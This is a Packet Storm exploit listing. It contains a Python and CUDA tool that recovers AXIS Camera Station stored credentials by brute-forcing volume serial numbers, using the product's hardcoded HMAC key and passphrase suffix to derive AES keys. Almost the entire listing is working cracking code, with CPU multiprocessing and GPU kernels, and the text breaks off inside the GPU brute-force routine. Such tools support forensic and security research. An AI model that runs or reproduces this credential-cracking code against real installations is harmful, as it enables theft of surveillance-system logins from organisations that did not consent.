Lucene search
+L

...[ More ]

🗓️ 28 Oct 2026 00:00:00Reported by Ricardo José Ruiz FernándezType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 4 Views

Python utility recovers AXIS Camera Station credentials via volume serial number keys.

Code
#!/usr/bin/env python3
import argparse, hmac, hashlib, base64, sys, time
from multiprocessing import Pool, cpu_count
from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2
from Crypto.Hash import SHA1

HMAC_KEY = b"98Z6rkcWK7gpMUcnnngvQqofxzmkPAbckqHLKBeF88UwRlgp7OMt8LdplsZCPVq"
SUFFIX   = "8*2*$uxEODOz'GmafgRKmbcJpxwOUJP_W,MW910Lkhq6W(XQ<t3^M#U9*B!=VAPc"

_PASS_LEN = 40 + len(SUFFIX)
_SALT     = hashlib.md5(str(_PASS_LEN).encode("ascii")).digest()
_ITER     = 1000

FILTER_RATE = 1.526e-5


def machine_identifier(volume_serial: int) -> str:
    msg = str(volume_serial & 0xFFFFFFFF).encode("ascii")
    return "".join("{:02X}".format(b)
                   for b in hmac.new(HMAC_KEY, msg, hashlib.sha1).digest())


def derive_key_iv(volume_serial: int):
    passphrase = (machine_identifier(volume_serial) + SUFFIX).encode("utf-8")
    material = PBKDF2(passphrase, _SALT, dkLen=48, count=_ITER,
                      hmac_hash_module=SHA1)
    return material[:32], material[32:48]


def try_decrypt(ct: bytes, volume_serial: int):
    key, iv = derive_key_iv(volume_serial)
    pt = AES.new(key, AES.MODE_CBC, iv).decrypt(ct)
    pad = pt[-1]
    if not (1 <= pad <= 16) or pt[-pad:] != bytes([pad]) * pad:
        return None
    body = pt[:-pad]
    if len(body) % 2:
        return None
    try:
        s = body.decode("utf-16-le")
    except UnicodeDecodeError:
        return None
    if s and all(c.isprintable() for c in s):
        return s
    return None


def parse_serial(text: str) -> int:
    t = text.strip()
    if t.lower().startswith("dec:"):
        return int(t[4:])
    t = t.replace("-", "").replace(" ", "").replace("0x", "").replace("0X", "")
    return int(t, 16)


def raw_body(s: str) -> bytes:
    return s.encode("utf-16-le", errors="ignore")


def ascii_ratio(s: str) -> float:
    if not s:
        return 0.0
    a = sum(1 for c in s if 0x20 <= ord(c) <= 0x7E) / len(s)
    rb = raw_body(s)
    b = sum(1 for x in rb if 0x20 <= x <= 0x7E) / len(rb) if rb else 0.0
    return max(a, b)


CHARSETS = {
    "ascii":  lambda s: all(0x20 <= ord(c) <= 0x7E for c in s),
    "bytes":  lambda s: bool(raw_body(s)) and all(0x20 <= x <= 0x7E
                                                 for x in raw_body(s)),
    "latin1": lambda s: all(ord(c) < 0x100 for c in s),
    "auto":   lambda s: CHARSETS["ascii"](s) or CHARSETS["bytes"](s),
    "any":    lambda s: True,
}


def _fmt_eta(sec):
    if sec >= 86400:
        return "%.1fd" % (sec / 86400)
    if sec >= 3600:
        return "%.1fh" % (sec / 3600)
    if sec >= 60:
        return "%.1fm" % (sec / 60)
    return "%.0fs" % sec


def _bar(done, total, rate, w=28):
    pct = 100.0 * done / total if total else 100.0
    fill = int(w * done / total) if total else w
    eta = (total - done) / rate if rate else 0
    return ("\r[%s] %5.1f%%  %s/%s  %s/s  ETA %s   "
            % ("#" * fill + "-" * (w - fill), pct,
               "{:,}".format(done), "{:,}".format(total),
               "{:,.0f}".format(rate), _fmt_eta(eta)))


class Collector:
    def __init__(self, charset, out_path):
        self.keep = CHARSETS[charset]
        self.charset = charset
        self.found = []
        self.strong = []
        self.fh = open(out_path, "w", encoding="utf-8") if out_path else None
        self.out_path = out_path

    def add(self, vsn, pt):
        self.found.append((vsn, pt))
        if self.fh:
            self.fh.write("%08X\t%.3f\t%s\n" % (vsn, ascii_ratio(pt), pt))
            self.fh.flush()
        if self.keep(pt):
            self.strong.append((vsn, pt))
            print("\n[+] VSN=%08X (%d)  ->  %r" % (vsn, vsn, pt))

    def close(self, tested, elapsed, gpu_hits=None):
        if self.fh:
            self.fh.close()
            print("[*] %s candidates saved to %s"
                  % ("{:,}".format(len(self.found)), self.out_path),
                  file=sys.stderr)
        print(file=sys.stderr)
        print("[*] %s serials in %s (%s cand/s)"
              % ("{:,}".format(tested), _fmt_eta(elapsed),
                 "{:,.0f}".format(tested / elapsed if elapsed else 0)),
              file=sys.stderr)
        stages = []
        if gpu_hits is not None:
            stages.append("%s gpu filter" % "{:,}".format(gpu_hits))
        stages.append("%s utf-16+printable" % "{:,}".format(len(self.found)))
        stages.append("%d charset=%s" % (len(self.strong), self.charset))
        print("[*] cascade: %s" % " -> ".join(stages), file=sys.stderr)

        if len(self.strong) == 1:
            print("\n[+] RESULT: VSN=%08X  ->  %r"
                  % (self.strong[0][0], self.strong[0][1]))
        elif self.found:
            print("[!] charset '%s' left %d candidates. Ranking by printable "
                  "ASCII ratio:" % (self.charset, len(self.strong)),
                  file=sys.stderr)
            top = sorted(self.found, key=lambda x: -ascii_ratio(x[1]))[:15]
            for v, t in top:
                rb = raw_body(t)
                alt = ""
                if rb and all(0x20 <= x <= 0x7E for x in rb):
                    alt = "   <== ASCII BYTES: %r" % rb.decode("ascii")
                print("    %5.1f%%  VSN=%08X  %r%s"
                      % (100 * ascii_ratio(t), v, t, alt))
        else:
            print("[-] no results in range.")
        return self.strong, self.found


def derive_key32(volume_serial: int) -> bytes:
    passphrase = (machine_identifier(volume_serial) + SUFFIX).encode("utf-8")
    return PBKDF2(passphrase, _SALT, dkLen=32, count=_ITER,
                  hmac_hash_module=SHA1)


def _scan_chunk(args):
    ct, lo, hi = args
    hits = []
    n = len(ct)
    if n < 32:
        for vsn in range(lo, hi):
            r = try_decrypt(ct, vsn)
            if r is not None:
                hits.append((vsn, r))
        return (hi - lo, hits)

    last, prev = ct[-16:], ct[-32:-16]
    prev15 = prev[15]
    expected = [bytes([k]) * k for k in range(17)]
    for vsn in range(lo, hi):
        blk = AES.new(derive_key32(vsn), AES.MODE_ECB).decrypt(last)
        pad = blk[15] ^ prev15
        if not (1 <= pad <= 16) or (n - pad) & 1:
            continue
        pt = bytes(a ^ b for a, b in zip(blk, prev))
        if pt[-pad:] != expected[pad]:
            continue
        r = try_decrypt(ct, vsn)
        if r is not None:
            hits.append((vsn, r))
    return (hi - lo, hits)


def _chunks(ct, start, end, step):
    lo = start
    while lo < end:
        yield (ct, lo, min(lo + step, end))
        lo += step


def _bench(n=300):
    t = time.time()
    for v in range(n):
        derive_key_iv(v)
    return n / (time.time() - t)


def bruteforce_cpu(ct, start=0, end=2**32, workers=None,
                   charset="auto", out_path=None):
    workers = workers or cpu_count()
    step = 4096
    total = end - start
    rate_est = _bench() * workers
    print("[*] cpu brute-force: %s serials | %d processes | ~%s/s | ETA %s"
          % ("{:,}".format(total), workers, "{:,.0f}".format(rate_est),
             _fmt_eta(total / rate_est if rate_est else 0)), file=sys.stderr)
    print("[*] expected survivors: ~%s | Ctrl-C to abort"
          % "{:,.0f}".format(total * FILTER_RATE), file=sys.stderr)

    col = Collector(charset, out_path)
    done = 0
    t0 = time.time()
    last = 0.0
    pos = start
    try:
        with Pool(workers) as pool:
            for n_done, hits in pool.imap_unordered(
                    _scan_chunk, _chunks(ct, start, end, step), chunksize=8):
                done += n_done
                pos += n_done
                for vsn, pt in hits:
                    col.add(vsn, pt)
                now = time.time()
                if now - last >= 0.3:
                    last = now
                    el = now - t0
                    print(_bar(done, total, done / el if el else 0),
                          end="", file=sys.stderr, flush=True)
    except KeyboardInterrupt:
        print("\n[!] interrupted after %s serials" % "{:,}".format(done),
              file=sys.stderr)
    return col.close(done, time.time() - t0)


CUDA_CORE = r"""#ifdef __CUDACC__
  #define DEVFN   __device__ __forceinline__
  #define DEVVAR  __device__
  #define UNROLL  _Pragma("unroll")
#else
  #define DEVFN   static inline
  #define DEVVAR  static
  #define UNROLL
#endif

typedef unsigned char      u8;
typedef unsigned int       u32;
typedef unsigned long long u64;

#define ROTL32(x,n) (((x) << (n)) | ((x) >> (32-(n))))

DEVFN void sha1_compress(u32 s[5], const u32 in[16])
{
    u32 w[16];
    UNROLL
    for (int i = 0; i < 16; i++) w[i] = in[i];

    u32 a=s[0], b=s[1], c=s[2], d=s[3], e=s[4], f, k, t;

    UNROLL
    for (int i = 0; i < 80; i++) {
        if (i >= 16) {
            u32 x = w[(i+13)&15] ^ w[(i+8)&15] ^ w[(i+2)&15] ^ w[i&15];
            w[i&15] = ROTL32(x, 1);
        }
        if      (i < 20) { f = (b & c) | ((~b) & d);          k = 0x5A827999u; }
        else if (i < 40) { f = b ^ c ^ d;                     k = 0x6ED9EBA1u; }
        else if (i < 60) { f = (b & c) | (b & d) | (c & d);   k = 0x8F1BBCDCu; }
        else             { f = b ^ c ^ d;                     k = 0xCA62C1D6u; }

        t = ROTL32(a,5) + f + e + k + w[i&15];
        e = d; d = c; c = ROTL32(b,30); b = a; a = t;
    }
    s[0]+=a; s[1]+=b; s[2]+=c; s[3]+=d; s[4]+=e;
}

DEVFN void sha1_init(u32 s[5])
{
    s[0]=0x67452301u; s[1]=0xEFCDAB89u; s[2]=0x98BADCFEu;
    s[3]=0x10325476u; s[4]=0xC3D2E1F0u;
}

DEVFN void sha1_hash(const u8 *msg, int len, u8 out[20])
{
    u32 s[5], blk[16];
    sha1_init(s);
    int off = 0;
    while (len - off >= 64) {
        UNROLL
        for (int i = 0; i < 16; i++)
            blk[i] = ((u32)msg[off+4*i  ] << 24) | ((u32)msg[off+4*i+1] << 16)
                   | ((u32)msg[off+4*i+2] <<  8) | ((u32)msg[off+4*i+3]      );
        sha1_compress(s, blk);
        off += 64;
    }
    int rem = len - off;
    UNROLL
    for (int i = 0; i < 16; i++) blk[i] = 0;
    for (int i = 0; i < rem; i++)
        blk[i >> 2] |= ((u32)msg[off+i]) << (24 - 8*(i & 3));
    blk[rem >> 2] |= ((u32)0x80u) << (24 - 8*(rem & 3));
    if (rem >= 56) {
        sha1_compress(s, blk);
        UNROLL
        for (int i = 0; i < 16; i++) blk[i] = 0;
    }
    u64 bits = (u64)len * 8ULL;
    blk[14] = (u32)(bits >> 32);
    blk[15] = (u32)(bits & 0xFFFFFFFFu);
    sha1_compress(s, blk);

    UNROLL
    for (int i = 0; i < 5; i++) {
        out[4*i+0] = (u8)(s[i] >> 24); out[4*i+1] = (u8)(s[i] >> 16);
        out[4*i+2] = (u8)(s[i] >>  8); out[4*i+3] = (u8)(s[i]      );
    }
}

DEVFN void hmac_sha1_states(const u8 *key, int keylen, u32 ist[5], u32 ost[5])
{
    u8 k[64];
    int n;
    if (keylen > 64) {
        sha1_hash(key, keylen, k);
        n = 20;
    } else {
        for (int i = 0; i < keylen; i++) k[i] = key[i];
        n = keylen;
    }
    for (int i = n; i < 64; i++) k[i] = 0;

    u32 blk[16];
    UNROLL
    for (int i = 0; i < 16; i++)
        blk[i] = ((u32)k[4*i] << 24) | ((u32)k[4*i+1] << 16)
               | ((u32)k[4*i+2] << 8) | ((u32)k[4*i+3]);
    u32 ib[16], ob[16];
    UNROLL
    for (int i = 0; i < 16; i++) { ib[i] = blk[i] ^ 0x36363636u;
                                   ob[i] = blk[i] ^ 0x5C5C5C5Cu; }
    sha1_init(ist); sha1_compress(ist, ib);
    sha1_init(ost); sha1_compress(ost, ob);
}

DEVFN void sha1_final_short(const u32 st_in[5], const u8 *msg, int msglen, u8 out[20])
{
    u32 blk[16];
    UNROLL
    for (int i = 0; i < 16; i++) blk[i] = 0;

    for (int i = 0; i < msglen; i++)
        blk[i >> 2] |= ((u32)msg[i]) << (24 - 8*(i & 3));
    blk[msglen >> 2] |= ((u32)0x80u) << (24 - 8*(msglen & 3));

    u64 bits = (u64)(64 + msglen) * 8ULL;
    blk[14] = (u32)(bits >> 32);
    blk[15] = (u32)(bits & 0xFFFFFFFFu);

    u32 s[5];
    UNROLL
    for (int i = 0; i < 5; i++) s[i] = st_in[i];
    sha1_compress(s, blk);

    UNROLL
    for (int i = 0; i < 5; i++) {
        out[4*i+0] = (u8)(s[i] >> 24); out[4*i+1] = (u8)(s[i] >> 16);
        out[4*i+2] = (u8)(s[i] >>  8); out[4*i+3] = (u8)(s[i]      );
    }
}

DEVFN void hmac_sha1(const u8 *key, int keylen, const u8 *msg, int msglen, u8 out[20])
{
    u32 ist[5], ost[5];
    u8  inner[20];
    hmac_sha1_states(key, keylen, ist, ost);
    sha1_final_short(ist, msg, msglen, inner);
    sha1_final_short(ost, inner, 20, out);
}

DEVVAR const u8 AES_SBOX[256] = {
0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,
0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,
0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,
0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,
0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,
0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,
0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,
0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,
0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,
0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,
0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,
0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,
0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,
0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,
0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,
0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16};

DEVVAR const u8 AES_INV_SBOX[256] = {
0x52,0x09,0x6a,0xd5,0x30,0x36,0xa5,0x38,0xbf,0x40,0xa3,0x9e,0x81,0xf3,0xd7,0xfb,
0x7c,0xe3,0x39,0x82,0x9b,0x2f,0xff,0x87,0x34,0x8e,0x43,0x44,0xc4,0xde,0xe9,0xcb,
0x54,0x7b,0x94,0x32,0xa6,0xc2,0x23,0x3d,0xee,0x4c,0x95,0x0b,0x42,0xfa,0xc3,0x4e,
0x08,0x2e,0xa1,0x66,0x28,0xd9,0x24,0xb2,0x76,0x5b,0xa2,0x49,0x6d,0x8b,0xd1,0x25,
0x72,0xf8,0xf6,0x64,0x86,0x68,0x98,0x16,0xd4,0xa4,0x5c,0xcc,0x5d,0x65,0xb6,0x92,
0x6c,0x70,0x48,0x50,0xfd,0xed,0xb9,0xda,0x5e,0x15,0x46,0x57,0xa7,0x8d,0x9d,0x84,
0x90,0xd8,0xab,0x00,0x8c,0xbc,0xd3,0x0a,0xf7,0xe4,0x58,0x05,0xb8,0xb3,0x45,0x06,
0xd0,0x2c,0x1e,0x8f,0xca,0x3f,0x0f,0x02,0xc1,0xaf,0xbd,0x03,0x01,0x13,0x8a,0x6b,
0x3a,0x91,0x11,0x41,0x4f,0x67,0xdc,0xea,0x97,0xf2,0xcf,0xce,0xf0,0xb4,0xe6,0x73,
0x96,0xac,0x74,0x22,0xe7,0xad,0x35,0x85,0xe2,0xf9,0x37,0xe8,0x1c,0x75,0xdf,0x6e,
0x47,0xf1,0x1a,0x71,0x1d,0x29,0xc5,0x89,0x6f,0xb7,0x62,0x0e,0xaa,0x18,0xbe,0x1b,
0xfc,0x56,0x3e,0x4b,0xc6,0xd2,0x79,0x20,0x9a,0xdb,0xc0,0xfe,0x78,0xcd,0x5a,0xf4,
0x1f,0xdd,0xa8,0x33,0x88,0x07,0xc7,0x31,0xb1,0x12,0x10,0x59,0x27,0x80,0xec,0x5f,
0x60,0x51,0x7f,0xa9,0x19,0xb5,0x4a,0x0d,0x2d,0xe5,0x7a,0x9f,0x93,0xc9,0x9c,0xef,
0xa0,0xe0,0x3b,0x4d,0xae,0x2a,0xf5,0xb0,0xc8,0xeb,0xbb,0x3c,0x83,0x53,0x99,0x61,
0x17,0x2b,0x04,0x7e,0xba,0x77,0xd6,0x26,0xe1,0x69,0x14,0x63,0x55,0x21,0x0c,0x7d};

DEVFN u8 gmul(u8 a, u8 b)
{
    u8 p = 0;
    UNROLL
    for (int i = 0; i < 8; i++) {
        if (b & 1) p ^= a;
        u8 hi = a & 0x80;
        a <<= 1;
        if (hi) a ^= 0x1b;
        b >>= 1;
    }
    return p;
}

DEVFN u32 sub_word(u32 w)
{
    return ((u32)AES_SBOX[(w >> 24) & 0xff] << 24)
         | ((u32)AES_SBOX[(w >> 16) & 0xff] << 16)
         | ((u32)AES_SBOX[(w >>  8) & 0xff] <<  8)
         | ((u32)AES_SBOX[ w        & 0xff]      );
}

DEVFN void aes256_expand(const u8 key[32], u32 rk[60])
{
    UNROLL
    for (int i = 0; i < 8; i++)
        rk[i] = ((u32)key[4*i]<<24)|((u32)key[4*i+1]<<16)|
                ((u32)key[4*i+2]<<8)|((u32)key[4*i+3]);
    u8 rcon = 1;
    for (int i = 8; i < 60; i++) {
        u32 t = rk[i-1];
        if ((i & 7) == 0) {
            t = (t << 8) | (t >> 24);
            t = sub_word(t);
            t ^= ((u32)rcon) << 24;
            rcon = (u8)((rcon << 1) ^ ((rcon >> 7) * 0x1b));
        } else if ((i & 7) == 4) {
            t = sub_word(t);
        }
        rk[i] = rk[i-8] ^ t;
    }
}

DEVFN void add_round_key(u8 st[16], const u32 rk[60], int round)
{
    UNROLL
    for (int c = 0; c < 4; c++) {
        u32 k = rk[4*round + c];
        st[4*c+0] ^= (u8)(k >> 24); st[4*c+1] ^= (u8)(k >> 16);
        st[4*c+2] ^= (u8)(k >>  8); st[4*c+3] ^= (u8)(k      );
    }
}

DEVFN void inv_shift_rows(u8 st[16])
{
    u8 t;

    t = st[13]; st[13]=st[9]; st[9]=st[5]; st[5]=st[1]; st[1]=t;

    t = st[2];  st[2]=st[10];  st[10]=t;
    t = st[6];  st[6]=st[14];  st[14]=t;

    t = st[3];  st[3]=st[7]; st[7]=st[11]; st[11]=st[15]; st[15]=t;
}

DEVFN void inv_sub_bytes(u8 st[16])
{
    UNROLL
    for (int i = 0; i < 16; i++) st[i] = AES_INV_SBOX[st[i]];
}

DEVFN void inv_mix_columns(u8 st[16])
{
    UNROLL
    for (int c = 0; c < 4; c++) {
        u8 a0=st[4*c+0], a1=st[4*c+1], a2=st[4*c+2], a3=st[4*c+3];
        st[4*c+0] = gmul(a0,0x0e)^gmul(a1,0x0b)^gmul(a2,0x0d)^gmul(a3,0x09);
        st[4*c+1] = gmul(a0,0x09)^gmul(a1,0x0e)^gmul(a2,0x0b)^gmul(a3,0x0d);
        st[4*c+2] = gmul(a0,0x0d)^gmul(a1,0x09)^gmul(a2,0x0e)^gmul(a3,0x0b);
        st[4*c+3] = gmul(a0,0x0b)^gmul(a1,0x0d)^gmul(a2,0x09)^gmul(a3,0x0e);
    }
}

DEVFN void aes256_decrypt_block(const u32 rk[60], const u8 in[16], u8 out[16])
{
    u8 st[16];
    UNROLL
    for (int i = 0; i < 16; i++) st[i] = in[i];

    add_round_key(st, rk, 14);
    for (int r = 13; r >= 1; r--) {
        inv_shift_rows(st);
        inv_sub_bytes(st);
        add_round_key(st, rk, r);
        inv_mix_columns(st);
    }
    inv_shift_rows(st);
    inv_sub_bytes(st);
    add_round_key(st, rk, 0);

    UNROLL
    for (int i = 0; i < 16; i++) out[i] = st[i];
}
"""

KDF_SRC = r"""DEVVAR const char HEXU[16] = {'0','1','2','3','4','5','6','7',
                              '8','9','A','B','C','D','E','F'};

DEVFN int u32_to_dec(u32 v, u8 *buf)
{
    if (v == 0) { buf[0] = '0'; return 1; }
    u8 tmp[10]; int n = 0;
    while (v) { tmp[n++] = (u8)('0' + (v % 10u)); v /= 10u; }
    for (int i = 0; i < n; i++) buf[i] = tmp[n-1-i];
    return n;
}

DEVFN void build_passphrase(u32 vsn, u8 pass[PASS_LEN])
{
    u8 dec[10];
    int declen = u32_to_dec(vsn, dec);

    u8 mid[20];
    hmac_sha1(HMAC_KEY, HMAC_KEY_LEN, dec, declen, mid);

    UNROLL
    for (int i = 0; i < 20; i++) {
        pass[2*i    ] = (u8)HEXU[(mid[i] >> 4) & 0xf];
        pass[2*i + 1] = (u8)HEXU[ mid[i]       & 0xf];
    }
    UNROLL
    for (int i = 0; i < SUFFIX_LEN; i++) pass[40 + i] = SUFFIX[i];
}

DEVFN void pbkdf2_blocks(const u8 *pass, int passlen, int nblk, u8 *out)
{
    u32 ist[5], ost[5];
    hmac_sha1_states(pass, passlen, ist, ost);

    for (int b = 1; b <= nblk; b++) {
        u8 msg[20], inner[20], u[20], t[20];

        UNROLL
        for (int i = 0; i < 16; i++) msg[i] = SALT[i];
        msg[16] = (u8)(b >> 24); msg[17] = (u8)(b >> 16);
        msg[18] = (u8)(b >>  8); msg[19] = (u8)(b      );

        sha1_final_short(ist, msg, 20, inner);
        sha1_final_short(ost, inner, 20, u);
        UNROLL
        for (int i = 0; i < 20; i++) t[i] = u[i];

        for (int it = 1; it < PBKDF2_ITER; it++) {
            sha1_final_short(ist, u, 20, inner);
            sha1_final_short(ost, inner, 20, u);
            UNROLL
            for (int i = 0; i < 20; i++) t[i] ^= u[i];
        }
        UNROLL
        for (int i = 0; i < 20; i++) out[20*(b-1) + i] = t[i];
    }
}

DEVFN void derive_key(u32 vsn, u8 key[32])
{
    u8 pass[PASS_LEN], mat[40];
    build_passphrase(vsn, pass);
    pbkdf2_blocks(pass, PASS_LEN, 2, mat);
    UNROLL
    for (int i = 0; i < 32; i++) key[i] = mat[i];
}

DEVFN void derive_key_iv(u32 vsn, u8 key[32], u8 iv[16])
{
    u8 pass[PASS_LEN], mat[60];
    build_passphrase(vsn, pass);
    pbkdf2_blocks(pass, PASS_LEN, 3, mat);
    UNROLL
    for (int i = 0; i < 32; i++) key[i] = mat[i];
    UNROLL
    for (int i = 0; i < 16; i++) iv[i]  = mat[32 + i];
}

DEVFN int quick_filter(const u8 key[32], const u8 last[16],
                       const u8 prev[16], int ct_len)
{
    u32 rk[60];
    u8  blk[16];
    aes256_expand(key, rk);
    aes256_decrypt_block(rk, last, blk);

    UNROLL
    for (int i = 0; i < 16; i++) blk[i] ^= prev[i];

    int pad = blk[15];
    if (pad < 1 || pad > 16) return 0;
    for (int i = 0; i < pad; i++)
        if (blk[15 - i] != (u8)pad) return 0;
    if (((ct_len - pad) & 1) != 0) return 0;
    return 1;
}
"""

CUDA_KERNELS = r"""
extern "C" __global__
void k_derive(const unsigned int* __restrict__ vsns,
              unsigned int n,
              unsigned char* __restrict__ out)
{
    unsigned int i = blockIdx.x * blockDim.x + threadIdx.x;
    if (i >= n) return;
    u8 key[32];
    derive_key(vsns[i], key);
    for (int j = 0; j < 32; j++) out[32u*i + j] = key[j];
}

extern "C" __global__
void k_crack(unsigned int start, unsigned int count,
             unsigned int* __restrict__ out_vsn,
             unsigned int* __restrict__ out_cnt,
             unsigned int out_cap)
{
    unsigned int i = blockIdx.x * blockDim.x + threadIdx.x;
    if (i >= count) return;
    unsigned int vsn = start + i;

    u8 key[32];
    int hit;
#if NEED_IV
    u8 iv[16];
    derive_key_iv(vsn, key, iv);
    hit = quick_filter(key, CT_LAST, iv, CT_LEN);
#else
    derive_key(vsn, key);
    hit = quick_filter(key, CT_LAST, CT_PREV, CT_LEN);
#endif

    if (hit) {
        unsigned int p = atomicAdd(out_cnt, 1u);
        if (p < out_cap) out_vsn[p] = vsn;
    }
}
"""


def _c_bytes(name, data):
    return "__device__ const unsigned char %s[%d] = {%s};\n" % (
        name, len(data), ",".join("0x%02x" % b for b in data))


def build_cuda_source(ct: bytes) -> str:
    nblocks = len(ct) // 16
    need_iv = 1 if nblocks == 1 else 0
    last = ct[-16:]
    prev = ct[-32:-16] if nblocks >= 2 else b"\x00" * 16

    pre = "#define HMAC_KEY_LEN %d\n" % len(HMAC_KEY)
    pre += "#define SUFFIX_LEN   %d\n" % len(SUFFIX)
    pre += "#define PASS_LEN     %d\n" % _PASS_LEN
    pre += "#define PBKDF2_ITER  %d\n" % _ITER
    pre += "#define CT_LEN       %d\n" % len(ct)
    pre += "#define NEED_IV      %d\n" % need_iv
    pre += _c_bytes("HMAC_KEY", HMAC_KEY)
    pre += _c_bytes("SUFFIX", SUFFIX.encode("ascii"))
    pre += _c_bytes("SALT", _SALT)
    pre += _c_bytes("CT_LAST", last)
    pre += _c_bytes("CT_PREV", prev)

    return CUDA_CORE + "\n" + pre + "\n" + KDF_SRC + "\n" + CUDA_KERNELS


class GpuBackend:
    def __init__(self, ct: bytes, block=256, maxreg=None, verbose=True):
        try:
            import cupy as cp
        except ImportError:
            sys.exit("[-] CuPy not found. Install cupy-cuda12x (or "
                     "cupy-cuda11x to match your toolkit).")
        self.cp = cp
        self.ct = ct
        self.block = block

        try:
            props = cp.cuda.runtime.getDeviceProperties(cp.cuda.Device().id)
            self.name = props["name"].decode()
            self.sms = props["multiProcessorCount"]
        except Exception:
            self.name, self.sms = "unknown device", 0

        opts = ["-std=c++11", "--use_fast_math"]
        if maxreg:
            opts.append("--maxrregcount=%d" % maxreg)

        if verbose:
            print("[*] compiling kernel with NVRTC...", file=sys.stderr)
        t0 = time.time()
        self.mod = cp.RawModule(code=build_cuda_source(ct), backend="nvrtc",
                                options=tuple(opts))
        self.k_crack = self.mod.get_function("k_crack")
        self.k_derive = self.mod.get_function("k_derive")
        if verbose:
            print("[*] %s (%d SM) | kernel ready in %.1fs"
                  % (self.name, self.sms, time.time() - t0), file=sys.stderr)

        self.cap = 1 << 16
        self.d_out = cp.zeros(self.cap, dtype=cp.uint32)
        self.d_cnt = cp.zeros(1, dtype=cp.uint32)

    def derive_keys(self, vsns):
        cp = self.cp
        d_v = cp.asarray(vsns, dtype=cp.uint32)
        d_k = cp.zeros(len(vsns) * 32, dtype=cp.uint8)
        grid = (len(vsns) + self.block - 1) // self.block
        self.k_derive((grid,), (self.block,),
                      (d_v, cp.uint32(len(vsns)), d_k))
        cp.cuda.Stream.null.synchronize()
        raw = d_k.get().tobytes()
        return [raw[32 * i:32 * (i + 1)] for i in range(len(vsns))]

    def scan(self, start, count):
        cp = self.cp
        self.d_cnt.fill(0)
        grid = (count + self.block - 1) // self.block
        self.k_crack((grid,), (self.block,),
                     (cp.uint32(start), cp.uint32(count),
                      self.d_out, self.d_cnt, cp.uint32(self.cap)))
        cp.cuda.Stream.null.synchronize()
        n = int(self.d_cnt.get()[0])
        if n > self.cap:
            print("\n[!] output buffer overflow (%d > %d). Lower --batch."
                  % (n, self.cap), file=sys.stderr)
            n = self.cap
        return self.d_out[:n].get().tolist()


def selftest(gpu, n=64):
    import random
    print("[*] selftest: comparing %d GPU derivations against Python..." % n)
    vsns = [0, 1, 0xFFFFFFFF] + [random.randrange(0, 2**32)
                                 for _ in range(n - 3)]
    bad = 0
    for v, k in zip(vsns, gpu.derive_keys(vsns)):
        ck, _ = derive_key_iv(v)
        if ck != k:
            bad += 1
            if bad <= 3:
                print("    [FAIL] VSN=%08X\n        gpu %s\n        cpu %s"
                      % (v, k.hex(), ck.hex()))
    if bad:
        print("[-] selftest FAILED: %d/%d mismatches" % (bad, len(vsns)))
        return False
    print("[+] selftest OK: %d/%d keys identical" % (len(vsns), len(vsns)))
    return True


def bruteforce_gpu(ct, start=0, end=2**32, block=256, batch=None,
                   target_ms=500, maxreg=None, charset="auto", out_path=None):
    gpu = GpuBackend(ct, block=block, maxreg=maxreg)
    total = end - start
    print("[*] gpu brute-force: %s serials | filter ~%.3e | expected "
          "survivors ~%s" % ("{:,}".format(total), FILTER_RATE,
                             "{:,.0f}".format(total * FILTER_RATE)),
          file=sys.stderr)

    cal = min(1 << 18, total)
    t0 = time.time()
    gpu.scan(start, cal)
    rate = cal / max(time.time() - t0, 1e-9)
    print("[*] calibration: %s cand/s | ETA %s"
          % ("{:,.0f}".format(rate), _fmt_eta(total / rate)), file=sys.stderr)

    if batch is None:
        batch = max(1, int(rate * target_ms / 1000.0))
        batch = max(1 << 16, min(1 << 24, 1 << (batch.bit_length() - 1)))
        print("[*] auto batch: %s (~%.0f ms/launch; keep under 2s on Windows "
              "because of the TDR watchdog)"
              % ("{:,}".format(batch), 1000.0 * batch / rate), file=sys.stderr)

    col = Collector(charset, out_path)
    tested, gpu_hits = 0, 0
    t0, last = time.time(), 0.0
    pos = start
    try:
        while pos < end:
            n = min(batch, end - pos)
            hits = gpu.scan(pos, n)
            gpu_hits += len(hits)
            for vsn in hits:
                pt = try_decrypt(ct, vsn)
                if pt is not None:
                    col.add(vsn, pt)
            pos += n
            tested += n
            now = time.time()
            if now - last >= 0.3:
                last = now
                el = now - t0
                print(_bar(tested, total, tested / el if el else 0),
                      end="", file=sys.stderr, flush=True)
    except KeyboardInterrupt:
